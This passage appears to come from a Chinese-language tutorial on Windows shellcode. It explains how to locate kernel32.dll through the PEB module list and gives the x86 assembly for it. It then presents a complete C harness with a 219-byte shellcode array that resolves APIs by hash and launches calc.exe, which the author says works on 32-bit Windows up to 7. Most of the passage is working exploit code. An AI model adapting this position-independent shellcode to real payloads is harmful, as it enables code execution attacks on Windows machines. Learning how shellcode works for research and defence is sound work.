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通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址，因
为"kernel32.dll"的最后一个字符为"/0"结束符。所以倘若模块最后一个字节为"/0"即可定位kernel32.dll的地址；

具体代码实现方法：

;find kernel32.dll
find_kernel32:
     push esi
     xor ecx, ecx
     mov esi, [fs:ecx+0x30]
     mov esi, [esi + 0x0c]
     mov esi, [esi + 0x1c]
next_module:
     mov eax, [esi + 0x8]
     mov edi,[esi+0x20]
     mov esi ,[esi]
     cmp [edi+12*2],cx
     jne next_module
     pop esi
     Ret
       通过我的测试，这种利用该方法编写的shellcode可以在32位平台Windows 5.0-7.0的所有版本上适用，下面
是经我测试在win 7下实现执行calc.exe的shellcode，shellcode本身写的很粗糙只为验证该方法的可用性！

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
   unsigned char shellcode[219] = {
   0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 
   0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2, 
   0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 
   0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 
   0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 
   0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 
   0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 
   0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 
   0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 
   0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 
   0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 
   0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 
   0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 
   0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d/n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
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